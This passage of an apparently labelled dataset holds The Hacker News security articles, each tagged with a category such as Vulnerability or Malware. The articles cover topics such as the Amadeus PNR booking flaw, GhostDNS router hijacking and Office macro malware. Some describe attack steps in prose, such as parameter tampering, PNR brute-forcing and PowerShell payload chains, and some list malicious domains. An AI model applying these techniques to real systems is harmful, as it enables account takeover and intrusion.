If you have already installed the latest Microsoft patch update, that's great, but attackers can still exploit this vulnerability. So, Windows users, especially network administrators at corporates, are advised to follow the below-mentioned steps to mitigate this vulnerability.
Apply the Microsoft update for CVE-2018-0950, if you have not yet.
Block specific ports (445/tcp, 137/tcp, 139/tcp, along with 137/udp and 139/udp) used for incoming and outgoing SMB sessions.
Block NT LAN Manager (NTLM) Single Sign-on (SSO) authentication.
Always use complex passwords, that cannot be cracked easily even if their hashes are stolen (you can use password managers to handle this task).
Most important, don't click on suspicious links provided in emails.

",Vulnerability
Flight Booking System Flaw Affected Customers of 141 Airlines Worldwide,https://thehackernews.com/2019/01/airlines-flight-hacking.html,"Almost half of the fight travelers around the world were found exposed to a critical security vulnerability discovered in online flight ticket booking system that allowed remote hackers to access and modify their travel details and even claim their frequent flyer miles.

Israeli network security researcher Noam Rotem discovered the vulnerability when he booked a flight on the Israeli airline ELAL, successful exploitation of which just required victim's PNR (Passenger Name Record) number.

The vulnerability resided in the widely used online flight booking system developed by Amadeus, which is currently being used by nearly 141 international airlines, including United Airlines, Lufthansa and Air Canada.

After booking a flight with ELAL, the traveler receives a PNR number and a unique link that allows customers to check their booking status and related information associated with that PNR.

Rotem found that merely by changing the value of the ""RULE_SOURCE_1_ID"" parameter on that link to someone else's PNR number would display personal and booking-related information from the account associated with that customer.
Using disclosed information, i.e. booking ID and last name of the customer, an attacker can simply access the victim's account on ELAL's customer portal and ""make changes, claim frequent flyer miles to a personal account, assign seats and meals, and update the customer's email and phone number, which could then be used to cancel/change flight reservation via customer service.""
""Though the security breach requires knowledge of the PNR code, ELAL sends these codes via unencrypted email, and many people even share them on Facebook or Instagram. But that's just the tip of the iceberg,"" the researcher said in his blog post.
Don't have PNR numbers of your victims? Don't worry.

Rotem also figured out that the Amadeus portal was not using any brute-force protection that eventually allowed attackers to attempt every alphanumeric uppercase complications using a script, as shown, to find all active PNR numbers of customers of any Amadeus-linked airline website.
""After running a small and non-threatening script to check for any brute-force protections, none of which were found, we were able to find PNRs of random customers, which included all of their personal information,"" Rotem added.
You can see the video demonstration provided by the researcher to know how a simple script devised by him guessed the PNR numbers and was able to find active numbers in Amadeus.

Since the Amadeus booking system is being used by at least 141 airlines, the vulnerability could have affected hundreds of millions of travelers.
After discovering the vulnerability, Rotem immediately contacted ELAL to point out the threat and suggested the airline to introduce captchas, passwords and a bot protection mechanism in order to prevent brute-force attempts.

Amadeus has now fixed the issue, and the Rotem's script can no longer identify active PNRs as demonstrated in the above video.

Upon contacting Amadeus, the company replied, ""At Amadeus, we give security the highest priority and are constantly monitoring and updating our systems. Our technical teams took immediate action, and we can now confirm that the issue is solved.""

Amadeus also added that the company has also added a Recovery PTR to strengthen security further and ""prevent a malicious user from accessing travelers' personal information.""

",Vulnerability
"GhostDNS: New DNS Changer Botnet Hijacked Over 100,000 Routers",https://thehackernews.com/2018/10/ghostdns-botnet-router-hacking.html,"Chinese cybersecurity researchers have uncovered a widespread, ongoing malware campaign that has already hijacked over 100,000 home routers and modified their DNS settings to hack users with malicious web pages—especially if they visit banking sites—and steal their login credentials.

Dubbed GhostDNS, the campaign has many similarities with the infamous DNSChanger malware that works by changing DNS server settings on an infected device, allowing attackers to route the users' internet traffic through malicious servers and steal sensitive data.

According to a new report from cybersecurity firm Qihoo 360's NetLab, just like the regular DNSChanger campaign, GhostDNS scans for the IP addresses for routers that use weak or no password at all, accesses the routers' settings, and then changes the router's default DNS address to the one controlled by the attackers.

GhostDNS System: List of Modules and Sub-Modules

The GhostDNS system mainly includes four modules:

1) DNSChanger Module: This is the main module of GhostDNS designed to exploit targeted routers based upon collected information.

DNSChanger Module is comprised of three sub-modules, which the researchers dubbed, Shell DNSChanger, Js DNSChanger, and PyPhp DNSChanger.

a.) Shell DNSChanger—Written in the Shell programming language, this sub-module combines 25 Shell scripts that can brute-force the passwords on routers or firmware packages from 21 different manufacturers.

b.) Js DNSChanger—Mainly written in JavaScript, this sub-module includes 10 attack scripts designed to infect 6 routers or firmware packages.

""Its functional structure is mainly divided into scanners, payload generators, and attack programs. The Js DNSChanger program is usually injected into phishing websites, so it works together with the Phishing Web System,"" the researchers say.

c.) PyPhp DNSChanger—Written in both Python and PHP, this submodule contains 69 attack scripts against 47 different routers/firmware and has been found deployed on over 100 servers, most of which on Google Cloud, and includes functionalities like Web API, Scanner and Attack module.

This sub-module is the core module of DNSChanger that allows attackers to scan the Internet to find vulnerable routers.

2) Web Admin module: Though researchers do not have too much information about this module yet, it seems to be an admin panel for attackers secured with a login page.

3) Rogue DNS module: This module is responsible for resolving targeted domain names from the attacker-controlled web servers, which mainly involves banking and cloud hosting services, along with a domain that belongs to a security company named Avira.

""We have no access to the Rouge DNS server, so we can't say for sure how many DNS names have been hijacked, but by querying both Alexa Top1M and our DNSMon's Top1M domains against the rogue DNS server (139.60.162.188), we were able to find a total of 52 domains being hijacked,"" NetLab researchers say.

4) Phishing Web module: When a targeted domain successfully gets resolved through the rogue DNS module, Phishing web module aims to server the right fake version for that specific website.

GhostDNS Malware Targeting Brazilian Users Primarily

According to the researchers, between September 21 and 27, the GhostDNS campaign compromised more than 100,000 routers, of which 87.8 percent of devices (which equals to 87,800) are located in Brazil only, which means Brazil is the primary target for GhostDNS attackers.

Also Read: VPNFilter Router Malware Adds 7 New Network Exploitation Modules

""Currently the campaign mainly focuses on Brazil, we have counted 100k+ infected router IP addresses (87.8% located in Brazil), and 70+ router/firmware have been involved, and 50+ domain names such as some big banks in brazil , even Netflix, Citibank.br have been hijacked to steal the corresponding website login credentials,"" the researchers say.

Since the GhostDNS campaign is highly scaled, utilizes different attack vector and adopts automated attack process, it poses a real threat to users. Therefore, users are advised to protect themselves.

How to Protect Your Home Router from Hackers

In order to avoid yourself from being a victim to such attacks, you are recommended to ensure that your router is running the latest version of the firmware and set a strong password for the router web portal.

You can also consider disabling remote administration, changing its default local IP address, and hardcoding a trusted DNS server into your router or the operating system.

NetLab researchers also recommended the router vendors to increase the complexity of router default password and enhance the system security update mechanism for their products.

",Cyber_Attack
Is China Behind the Massive Data Theft of 4 Million U.S. Officials?,https://thehackernews.com/2015/06/china-data-theft.html,"The US federal agency has notified its 4 Million current and former government employees that their private data has been compromised in a massive data breach.

Hackers managed to break into US government computer systems in the Office of Personnel Management (OPM) and steal records of Millions of employees, making it one of the largest known breaches of information ever on federal workers.

The stolen information includes birth dates, credit card data, banking records, security clearance information, and background checks dating back three decades, potentially affecting people across the spectrum of the federal agency.

The massive breach is believed to be carried out by the hackers based in China, the Obama administration announced on Thursday. The breach is believed to be an ""attack against the (American) nation.""

Biggest Data Breach in US History

However, China has denied any involvement in what could be the largest cyber-attack in US history by calling such claims ""irresponsible"".
""Cyber attacks are generally anonymous and conducted across borders, and their origins are hard to trace,"" said Hong Lei, a foreign ministry spokesman. ""Not to carry out deep investigation and keep using words such as 'possible' is irresponsible and unscientific.""
The Federal Bureau of Investigation (FBI) has been working with OPM interagency partners to investigate the matter. Meanwhile, OPM assured its users that it is taking all potential threats seriously, and will hold accountable those who are behind the attack.

Malicious Activity

OPM said it became aware of the data breach in April this year when it detected new malicious activity affecting its cyber security systems.

However at the beginning of last month, the Department of Homeland Security concluded that the agency's personal data had been compromised in the 'massive breach', and about 4 million government officials may have been affected.

OPM said it would contact and inform all those individuals whose personal data may have been stolen to ""monitor [their] financial account statements and immediately report any suspicious or unusual activity to financial institutions.""

OPM is also offering 18 months of free credit monitoring and identity theft insurance to all those are affected by the breach.

According to many United States officials who requested anonymity, the criminal hackers were believed to have been based in China. However, it is yet unclear if there is any involvement of the Chinese government.

The FBI and the Department of Homeland Security are investigating the breach.

",Data_Breaches
Equifax Suffered Data Breach After It Failed to Patch Old Apache Struts Flaw,https://thehackernews.com/2017/09/equifax-apache-struts.html,"The massive Equifax data breach that exposed highly sensitive data of as many as 143 million people was caused by exploiting a flaw in Apache Struts framework, which Apache patched over two months earlier of the security incident, Equifax has confirmed.

Credit rating agency Equifax is yet another example of the companies that became victims of massive cyber attacks due to not patching a critical vulnerability on time, for which patches were already issued by the respected companies.

Rated critical with a maximum 10.0 score, the Apache Struts2 vulnerability (CVE-2017-5638) exploited in the Equifax breach was disclosed and fixed by Apache on March 6 with the release of Apache Struts version 2.3.32 or 2.5.10.1.

This flaw is separate from CVE-2017-9805, another Apache Struts2 vulnerability that was patched earlier this month, which was a programming bug that manifests due to the way Struts REST plugin handles XML payloads while deserializing them, and was fixed in Struts version 2.5.13.

Right after the disclosure of the vulnerability, hackers started actively exploiting the flaw in the wild to install rogue applications on affected web servers after its proof-of-concept (PoC) exploit code was uploaded to a Chinese site.

Despite patches were made available and proofs that the flaw was already under mass attack by hackers, Equifax failed to patched its Web applications against the flaw, which resulted in the breach of personal data of nearly half of the US population.
""Equifax has been intensely investigating the scope of the intrusion with the assistance of a leading, independent cyber security firm to determine what information was accessed and who have been impacted,"" the company officials wrote in an update on the website with a new ""A Progress Update for Consumers.""
""We know that criminals exploited a US website application vulnerability. The vulnerability was Apache Struts CVE-2017-5638. We continue to work with law enforcement as part of our criminal investigation, and have shared indicators of compromise with law enforcement.""
CVE-2017-5638 was a then-zero-day vulnerability discovered in the popular Apache Struts web application framework by Cisco's Threat intelligence firm Talos, which observed a number of active attacks exploiting the flaw.

The issue was a remote code execution bug in the Jakarta Multipart parser of Apache Struts2 that could allow an attacker to execute malicious commands on the server when uploading files based on the parser.

At the time, Apache warned it was possible to perform a remote code execution attack with ""a malicious Content-Type value,"" and if this value is not valid ""an exception is thrown which is then used to display an error message to a user.""

Also Read: Steps You Should Follow to Protect Yourself From Equifax Breach

For those unaware, Apache Struts is a free, open-source MVC framework for developing web applications in the Java programming language that run both front-end and back-end Web servers. The framework is used by 65n per cent of the Fortune 100 companies, including Lockheed Martin, Vodafone, Virgin Atlantic, and the IRS.

Since the hackers are actively exploiting the vulnerabilities in the Apache Struts web framework, Cisco has also initiated an investigation into its products against four newly discovered security vulnerabilities in Apache Struts2.

Other companies that also incorporate a version of Apache Struts 2 should also check their infrastructures against these vulnerabilities.

Equifax is currently offering free credit-monitoring and identity theft protection services for people who are affected by the massive data leak and has also enabled a security freeze for access to people's information.

While the company was initially criticised for generating a PIN that was simply a time and date stamp and easy-to-guess, the PIN generation method was later changed to randomly generate numbers.

",Data_Breaches
SAHER HoneyNet : A Tunisian Honeynet Project,https://thehackernews.com/2011/11/saher-honeynet-tunisian-honeynet.html,"SAHER HoneyNet : A Tunisian Honeynet Project


A honeynet is a network set up with intentional vulnerabilities; its purpose is to invite attack, so that an attacker's activities and methods can be studied and that information used to increase network security. A honeynet contains one or more honey pots, which are computer systems on the Internet expressly set up to attract and ""trap"" people who attempt to penetrate other people's computer systems. Although the primary purpose of a honeynet is to gather information about attackers' methods and motives, the decoy network can benefit its operator in other ways, for example by diverting attackers from a real network and its resources.

The Tunisian honeynet project ""Saher-HoneyNet"" is an initiative launched by the Tunisian CERT, in order to mitigate threats related to malicious traffic in order to improve the national cyberspace security by ensuring preventive and response measures to deal with malware infections.

The Honeynet Project, a non-profit research organization dedicated to computer security and information sharing, actively promotes the deployment of honeynets.

The first research activities started in 2004, by deploying few honeyd sensors and testing new detection and prevention techniques to come up with a very powerful detection platform by the year 2008 as more resources are invested in the project. Now, the Tunisian honeynet project is a part of the Tunisian cyber early warning system ""SAHER"" created to deal with all cyber threats and to coordinate with the international community.

This project involves all the cyberspace stakeholders, including the government, ISPs, Telcos, and critical information infrastructure, providing them coordination with tools for the detection; procedures to share information and technologies to clean-up the cyberspace and track malicious sources.
[Source]

",Malware
Critical OpenSMTPD Bug Opens Linux and OpenBSD Mail Servers to Hackers,https://thehackernews.com/2020/01/openbsd-opensmtpd-hacking.html,"Cybersecurity researchers have discovered a new critical vulnerability (CVE-2020-7247) in the OpenSMTPD email server that could allow remote attackers to take complete control over BSD and many Linux based servers.

OpenSMTPD is an open-source implementation of the server-side SMTP protocol that was initially developed as part of the OpenBSD project but now comes pre-installed on many UNIX-based systems.

According to Qualys Research Labs, who discovered this vulnerability, the issue resides in the OpenSMTPD's sender address validation function, called smtp_mailaddr(), which can be exploited to execute arbitrary shell commands with elevated root privileges on a vulnerable server just by sending specially crafted SMTP messages to it.

The flaw affects OpenBSD version 6.6 and works against the default configuration for both, the locally enabled interface as well as remotely if the daemon has been enabled to listen on all interfaces and accepts external mail.


""Exploitation of the vulnerability had some limitations in terms of local part length (max 64 characters is allowed) and characters to be escaped ('$', '|'),"" the researchers said in an advisory.

""Qualys researchers were able to overcome these limitations using a technique from the Morris Worm (one of the first computer worms distributed via the Internet, and the first to gain significant mainstream media attention) by executing the body of the mail as a shell script in Sendmail.""

Additionally, the researchers have also released a proof-of-concept exploit code demonstrating the OpenSMTPD vulnerability.

Qualys responsibly reported the flaw to OpenSMTPD developers, who earlier today released OpenSMTPD version 6.6.2p1 with a patch and also pushed an update for OpenBSD users.

Sysadmins running servers with a vulnerable version of the email software are advised to apply the patch as soon as possible.
",Vulnerability
GandCrab ransomware and Ursnif virus spreading via MS Word macros,https://thehackernews.com/2019/01/microsoft-gandcrab-ursnif.html,"Security researchers have discovered two separate malware campaigns, one of which is distributing the Ursnif data-stealing trojan and the GandCrab ransomware in the wild, whereas the second one is only infecting victims with Ursnif malware.

Though both malware campaigns appear to be a work of two separate cybercriminal groups, we find many similarities in them. Both attacks start from phishing emails containing an attached Microsoft Word document embedded with malicious macros and then uses Powershell to deliver fileless malware.

Ursnif is a data-stealing malware that typically steals sensitive information from compromised computers with an ability to harvest banking credentials, browsing activities, collect keystrokes, system and process information, and deploy additional backdoors.

Discovered earlier last year, GandCrab is a widespread ransomware threat that, like every other ransomware in the market, encrypts files on an infected system and insists victims to pay a ransom in digital currency to unlock them. Its developers ask payments primarily in DASH, which is more complex to track.

MS Docs + VBS macros = Ursnif and GandCrab Infection

The first malware campaign distributing two malware threats was discovered by security researchers at Carbon Black who located approximately 180 variants of MS Word documents in the wild that target users with malicious VBS macros.

If successfully executed, the malicious VBS macro runs a PowerShell script, which then uses a series of techniques to download and execute both Ursnif and GandCrab on the targeted systems.

The PowerShell script is encoded in base64 that executes the next stage of infection which is responsible for downloading the main malware payloads to compromise the system.

The first payload is a PowerShell one-liner that evaluates the architecture of the targeted system and then accordingly downloads an additional payload from the Pastebin website, which is executed in the memory, making it difficult for traditional anti-virus techniques to detect its activities.

""This PowerShell script is a version of the Empire Invoke-PSInject module, with very few modifications,"" Carbon Black researchers said. ""The script will take an embedded PE [Portable Executable] file that has been base64 encoded and inject that into the current PowerShell process.""

The final payload then installs a variant of the GandCrab ransomware on the victim's system, locking them out of their system until they pay a ransom in digit currency.

Meanwhile, the malware also downloads a Ursnif executable from a remote server and once executed, it will fingerprint the system, monitor web browser traffic to collect data, and then send it out to the attackers' command and control (C&C) server.

""However, numerous Ursnif variants were hosted on the bevendbrec[.]com site during this campaign. Carbon Black was able to discover approximately 120 different Ursnif variants that were being hosted from the domains iscondisth[.]com and bevendbrec[.]com,"" the researchers said.

MS Docs + VBS macros = Ursnif Data-Stealing Malware

Similarly, the second malware campaign that was spotted by security researchers at Cisco Talos leverages a Microsoft Word document containing a malicious VBA macro to deliver another variant of same Ursnif malware.
This malware attack also compromises targeted systems in multiple stages, starting from phishing emails to running malicious PowerShell commands to gain fileless persistence and then downloading and installing Ursnif data-stealing computer virus.

""There are three parts to the [PowerShell] command. The first part creates a function that is later used to decode base64 encoded PowerShell. The second part creates a byte array containing a malicious DLL,"" Talos researchers explained.

""The third part executes the base64 decode function created in the first part, with a base64 encoded string as the parameter to the function. The returned decoded PowerShell is subsequently executed by the shorthand Invoke-Expression (iex) function.""

Once executed on the victim computer, the malware collects information from the system, puts into a CAB file format, and then sends it to its command-and-control server over HTTPS secure connection.

Talos researchers have published a list of indicators of compromise (IOCs), along with the names of payload file names dropped on compromised machines, on their blog post that can help you detect and stop the Ursnif malware before it infects your network.

",Cyber_Attack
Ukrainian Police Arrest 6 Hackers Linked to DDoS and Financial Attacks,https://thehackernews.com/2019/01/ukrainian-cybercriminals.html,"Ukrainian Police have this week busted out two separate groups of hackers involved in carrying out DDoS attacks against news agencies and stealing money from Ukrainian citizens, respectively.

According to the authorities, the four suspected hackers they arrested last week, all aged from 26 to 30 years, stole more than 5 million Hryvnia (around 178,380 USD) from the bank accounts of Ukrainian citizens by hacking into their computers.

The suspects carried out their attacks by scanning vulnerable computers on the Internet and infecting them with a custom Trojan malware to take full remote control of the systems.

The group then apparently enabled key-logging on the infected computers in an attempt to capture banking credentials of victims when the owners of those infected computers fill in that information on any banking site or their digital currency wallet.
Once getting a hold on the victims banking and financial data, the attackers logged into their online banking accounts and transferred the funds or cryptocurrencies to the accounts controlled by the attackers.

""Usually such actions were carried out at night,"" the authorities said. ""At the same time, the bank did not react to these operations, as they were carried out by the trusted user. The operation was completely legitimate.""

Besides stealing money, the suspects also left the backdoor on the victims' computers for further control, so that they can use them in the future for carrying out other illicit activities.

Criminal proceedings against all the four people have been initiated under several articles of the Criminal Code of Ukraine, including theft and unauthorized interference with the work of computers, automated systems, computer networks or telecommunication networks.

Two Ukrainian DDoS Hackers Arrested

In a separate press release, Police today announced the arrest of two other hackers, 21- and 22-years-old, suspected of performing DDoS attacks against several critical Ukrainian resources, including news sites of the city of Mariupol and several state educational institutions.
According to the authorities, the duo developed two DDoS hacking tools which they used to send hundreds of automatic queries to their targeted regional information resources every second, eventually making their service unavailable.

The pair is currently facing up to six years in prison under article 361 of the Criminal Code of Ukraine, which includes unlawful interference with the work of computers, automated systems, computer networks or telecommunication networks.

",Malware
Nepal Telecommunications Authority Hacked by w3bd3f4c3r,https://thehackernews.com/2011/08/nepal-telecommunications-authority.html,"Nepal Telecommunications Authority Hacked by w3bd3f4c3r
Hacker with name ""w3bd3f4c3r"" or ""T34mT!g3R"" today hack into the Nepal Telecommunications Authority website using SQL injection Vulnerability. The Vulnerability Information and screenshot is posted by hacker on pastebin :

The Leaked info include the various database and tables of Nepal Telecommunications Authority website and Administrator password in Hashes as shown below:


",Vulnerability
Operation Aurora - Other Zero-Day Attacks targeting finance and Energy,https://thehackernews.com/2012/09/operation-aurora-other-zero-day-attacks.html,"The infamous Aurora Trojan horse is just one of many attacks launched by the same group of malware authors over the past three years, according to researchers at Symantec. Security researchers with Symantec have issued a report outlining the techniques used by the so-called ""Edgewood"" hacking platform and the group behind it. The group seemingly has an unlimited supply of zero-day vulnerabilities.

The company said that the group is well-funded and armed with more than a half-dozen unpublished security vulnerabilities. ""They are definitely shifting their methodology, and there are open questions about why that is,"" said Eric Chien, senior technical director for Symantec's security response group. ""They may be finding that older techniques are no longer working.""

""The number of zero-day exploits used indicates access to a high level of technical capability.""The researchers said that the group appears to favour ""watering hole"" attacks techniques in which the attacker profiles a targeted group and places attack code into sites which the targets are likely to visit.

Here are just some of the most recent exploits that they have used:
• Adobe Flash Player Object Type Confusion Remote Code Execution Vulnerability (CVE-2012-0779)
• Microsoft Internet Explorer Same ID Property Remote Code Execution Vulnerability (CVE-2012-1875)
• Microsoft XML Core Services Remote Code Execution Vulnerability (CVE-2012-1889)
• Adobe Flash Player Remote Code Execution Vulnerability (CVE-2012-1535)

Operation Aurora was a cyber attack which began in mid-2009 and continued through December 2009. The attack was first publicly disclosed by Google on January 12, 2010. In the blog post, Google said the attack originated in China.

The attacks were both sophisticated and well resourced and consistent with an advanced persistent threat attack.The attack has been aimed at dozens of other organizations, of which Adobe Systems, Juniper Networks and Rackspace have publicly confirmed that they were targeted.

The security firm has published details in a 14-page research report titled ""The Elderwood Project"". The first thing that stands out in the report is that the vast majority of detections are in the US. In the last year, Symantec detected 677 files used by the Elderwood gang in the US. Rounding out the top five is Canada with 86 files, China with 53, Hong Kong with 31, and Australia also with 31.

",Vulnerability
Microsoft Issues Emergency Patch For Under-Attack IE Zero Day,https://thehackernews.com/2018/12/internet-explorer-zero-day.html,"Microsoft today issued an out-of-band security update to patch a critical zero-day vulnerability in Internet Explorer (IE) Web browser that attackers are already exploiting in the wild to hack into Windows computers.

Discovered by security researcher Clement Lecigne of Google's Threat Analysis Group, the vulnerability, tracked as CVE-2018-8653, is a remote code execution (RCE) flaw in the IE browser's scripting engine.

According to the advisory, an unspecified memory corruption vulnerability resides in the scripting engine JScript component of Microsoft Internet Explorer that handles execution of scripting languages.

If exploited successfully, the vulnerability could allow attackers to execute arbitrary code in the context of the current user.

""If the current user is logged on with administrative user rights, an attacker who successfully exploited the vulnerability could take control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights,"" the advisory reads.

Besides this, a remote attacker can also target victims by convincing them into viewing a specially crafted HTML document (e.g., a web page or an email attachment), MS Office document, PDF file or any other document that supports embedded IE scripting engine content.

The IE zero-day vulnerability impacts IE 9 on Windows Server 2008, IE 10 on Windows Server 2012, IE 11 from Windows 7 to Windows 10, and IE 11 on Windows Server 2019, Windows Server 2016, Windows Server 2008 R2, Windows Server 2012 R2.

Neither Google nor Microsoft has yet publicly disclosed any technical details about the IE zero-day vulnerability, proof-of-concept exploit code, or details about the ongoing cyber attack campaign utilizing this RCE bug.

Since the vulnerability is actively being exploited in the wild which makes it a critical zero-day flaw, users are strongly recommended to install the latest updates provided by Microsoft as soon as possible.

Though it is not recommended, users who cannot immediately deploy patches can mitigate the threat by restricting access to jscript.dll file by running following command in the command prompt using admin privileges.

For 32-bit System — cacls %windir%\system32\jscript.dll /E /P everyone:N

For 64-bit System — cacls %windir%\syswow64\jscript.dll /E /P everyone:N

It should be noted that the above command will force the web browser to use Jscript9.dll, but any website that relies on Jscript.dll will fail to render.

",Cyber_Attack
"Google and Apple app Store removing all Games with ""Flappy"" word in Title",https://thehackernews.com/2014/02/Flappy-bird-google-apple-iphone-android.html,"After the developer of Flappy Bird pulled the gaming app from both the Apple and Google app stores, it led to the creation of dozens and dozens of Flappy Bird clones that are trying to cash in on the popularity of the original title.

Also Security researchers from multiple anti-malware firms have recently identified a number of malicious versions of Flappy Bird apps.

In Order to protect Smartphone users from installing malicious applications that pretend to be the one associated with the previous Flappy Bird app, Google and Apple have finally decided to reject all games and application that contain 'Flappy' in the title on app Stores.

Ken Carpenter, another app developer with Mind Juice Media, posted on his Twitter account that his newly developed app, which he named Flappy Dragon, got rejected from Apple's app Store because the name ""attempts to leverage a popular app""

According to Ken, 'Flappy' in app title are being rejected by Apple under a violation of the app review guidelines, states that ""apps that contain false, fraudulent or misleading representations will be rejected.""

Whereas, Google Play pulled down Flappy Dragon with a reason - ""do not use irrelevant, misleading, or excessive keywords in app descriptions, titles, or metadata.""

But the clone apps that were already approved by Apple before adding this restriction, are still in the App Store. Unfortunately, Ken forced to rename his app and resubmitted it to iTunes with a new title ""Derpy Dragon.""

",Malware
PiceBOT Crimeware Kit targeting Latin America Banks,https://thehackernews.com/2013/02/picebot-crimeware-kit-targeting-latin.html,"A new Cyber Crimeware kit arrived in Hacking scenes called 'PiceBOT' just like other Latin American botnets such as vOlk (Mexico) & S.A.P.Z (Peru) and cost just $140 in underground market for Cyber criminals. Like other amazing exploit kits, the main purpose is the distribution of malware that steals financial information through local pharming attacks.

Bad bots perform malicious tasks allowing an attacker to take complete control over an affected computer for the criminal to control remotely. Once infected, these machines may also be referred to as 'zombies'.
Kaspersky uncovered that this kit has already been adopted by Latin American cyber criminals to target clients of major banks and so far financial bodies from Chile, Peru, Panama, Costa Rica, Mexico, Colombia, Uruguay, Venezuela, Ecuador, Nicaragua and Argentina under attack.

Detected as Trojan-Dropper.Win32.Injector, the malware having couple of dozen variants. Malware is still under observation by antivirus vendor for further technical details.

If you have not installed security software and ensured that it is turned on, and kept up-to-date your machine is likely infected with all kinds of malicious software, including bots. The best protection is to set your anti-virus and anti-spyware programs to automatically update, and to install every patch that your operating system and browser make available.

",Malware
Unpatched Microsoft Word DDE Exploit Being Used In Widespread Malware Attacks,https://thehackernews.com/2017/10/ms-office-dde-malware-exploit.html,"A newly discovered unpatched attacking method that exploits a built-in feature of Microsoft Office is currently being used in various widespread malware attack campaigns.

Last week we reported how hackers could leveraging an old Microsoft Office feature called Dynamic Data Exchange (DDE), to perform malicious code execution on the targeted device without requiring Macros enabled or memory corruption.

DDE protocol is one of the several methods that Microsoft uses to allow two running applications to share the same data.

The protocol is being used by thousands of apps, including MS Excel, MS Word, Quattro Pro, and Visual Basic for one-time data transfers and for continuous exchanges for sending updates to one another.

The DDE exploitation technique displays no ""security"" warnings to victims, except asking them if they want to execute the application specified in the command—although this popup alert could also be eliminated ""with proper syntax modification.""

Soon after the details of DDE attack technique went public, Cisco's Talos threat research group published a report about an attack campaign actively exploiting this attack technique in the wild to target several organisations with a fileless remote access trojan (RAT) called DNSMessenger.

Necurs Botnet Using DDE Attack to Spread Locky Ransomware


Now, hackers have been found using the Necurs Botnet—malware that currently controls over 6 million infected computers worldwide and sends millions of emails—to distribute Locky ransomware and TrickBot banking trojan using Word documents that leverage the newly discovered DDE attack technique, reported SANS ISC.

Locky ransomware hackers previously relied on macros-based booby-trapped MS Office documents, but now they have updated the Nercus Botnet to deliver malware via the DDE exploit and gain an ability to take screenshots of the desktops of victims.
""What's interesting about this new wave is that the downloader now contains new functionality to gather telemetry from victims,"" Symantec said in a blog post.
""It can take screen grabs and send them back to a remote server. There's also an error-reporting capability that will send back details of any errors that the downloader encounters when it tries to carry out its activities.""

Hancitor Malware Using DDE Attack


Another separate malware spam campaign discovered by security researchers has also been found distributing Hancitor malware (also known as Chanitor and Tordal) using Microsoft Office DDE exploit.

Hancitor is a downloader that installs malicious payloads like Banking Trojans, data theft malware and Ransomware on infected machines and is usually delivered as a macro-enabled MS Office document in phishing emails.

How to Protect Yourself From Word DDE Attacks?


Since DDE is a Microsoft's legitimate feature, most antivirus solutions do not flag any warning or block MS Office documents with DDE fields, neither the tech company has any plans of issuing a patch that would remove its functionality.

So, you can protect yourself and your organisation from such attacks by disabling the ""update automatic links at open"" option in the MS Office programs.

To do so, Open Word → Select File → Options → Advanced and scroll down to General and then uncheck ""Update Automatic links at Open.""

However, the best way to protect yourself from such attacks is always to be suspicious of any uninvited document sent via an email and never click on links inside those documents unless adequately verifying the source.

",Malware
New Linux Malware Steals Call Details from VoIP Softswitch Systems,https://thehackernews.com/2020/09/linux-voip-softswitch-malware.html,"Cybersecurity researchers have discovered an entirely new kind of Linux malware dubbed ""CDRThief"" that targets voice over IP (VoIP) softswitches in an attempt to steal phone call metadata.

""The primary goal of the malware is to exfiltrate various private data from a compromised softswitch, including call detail records (CDR),"" ESET researchers said in a Thursday analysis.

""To steal this metadata, the malware queries internal MySQL databases used by the softswitch. Thus, attackers demonstrate a good understanding of the internal architecture of the targeted platform.""

Softswitches (short for software switches) are generally VoIP servers that allow for telecommunication networks to provide management of voice, fax, data and video traffic, and call routing.

ESET's research uncovered that CDRThief targeted a specific Linux VoIP platform, namely the VOS2009 and 3000 softswitches from Chinese company Linknat, and had its malicious functionality encrypted to evade static analysis.

The malware starts off by attempting to locate the Softswitch configuration files from a list of predetermined directories with the goal of accessing the MySQL database credentials, which are then decrypted to query the database.

ESET researchers say the attackers would have had to reverse engineer the platform binaries to analyze the encryption process and retrieve the AES key used to decrypt the database password, suggesting the authors' ""deep knowledge"" of the VoIP architecture.

Besides scooping up basic information about compromised Linknat system, CDRThief exfiltrates details of the database (username, encrypted password, IP address) and executes SQL queries directly to the MySQL database in order to capture information pertaining to system events, VoIP gateways, and call metadata.

""Data to be exfiltrated from the e_syslog, e_gatewaymapping, and e_cdr tables is compressed and then encrypted with a hardcoded RSA-1024 public key before exfiltration. Thus, only the malware authors or operators can decrypt the exfiltrated data,"" ESET said.

In its current form, the malware appears to be focused only on gathering data from the database, but ESET warns that could easily change should the attackers decide to introduce more advanced document stealing features in an updated version.

That said, the ultimate goal of the malware authors or information about the threat actor behind the operation still remains unclear.

""At the time of writing we do not know how the malware is deployed onto compromised devices,"" ESET's Anton Cherepanov said. ""We speculate that attackers might obtain access to the device using a brute-force attack or by exploiting a vulnerability.""

""It seems reasonable to assume that the malware is used for cyberespionage. Another possible goal for attackers using this malware is VoIP fraud. Since the attackers obtain information about activity of VoIP softswitches and their gateways, this information could be used to perform International Revenue Share Fraud (IRSF).""

",Cyber_Attack
Signal Messenger Bug Lets Callers Auto-Connect Calls Without Receivers' Interaction,https://thehackernews.com/2019/10/signal-messenger-bug.html,"Almost every application contains security vulnerabilities, some of which you may find today, but others would remain invisible until someone else finds and exploits them—which is the harsh reality of cybersecurity and its current state.

And when we say this, Signal Private Messenger—promoted as one of the most secure messengers in the world—isn't any exception.

Google Project Zero researcher Natalie Silvanovich discovered a logical vulnerability in the Signal messaging app for Android that could allow malicious caller to force a call to be answered at the receiver's end without requiring his/her interaction.

In other words, the flaw could be exploited to turn on the microphone of a targeted Signal user's device and listen to all surrounding conversations.

However, the Signal vulnerability can only be exploited if the receiver fails to answer an audio call over Signal, eventually forcing the incoming call to be automatically answered on the receiver's device.

""In the Android client, there is a method handleCallConnected that causes the call to finish connecting. During normal use, it is called in two situations: when the callee device accepts the call when the user selects 'accept,' and when the caller device receives an incoming ""connect"" message indicating that the callee has accepted the call,"" Silvanovich explains in the Chromium blog.

""Using a modified client, it is possible to send the ""connect"" message to a callee device when an incoming call is in progress but has not yet been accepted by the user. This causes the call to be answered, even though the user has not interacted with the device.""

To be noted, ""the connected call will only be an audio call, as the user needs to manually enable video in all calls.""

Silvanovich also mentioned that ""Signal has this large remote attack surface due to limitations in WebRTC,"" and the design flaw also affects the iOS version of the messaging app, but can not be exploited because ""the call is not completed due to an error in the UI caused by the unexpected sequence of states.""

Silvanovich reported this vulnerability to the Signal security team just last week.

The Signal security team immediately acknowledged the issue and patched it within a few hours on the same day with the release of Signal for Android v4.47.7, the company confirmed The Hacker News.

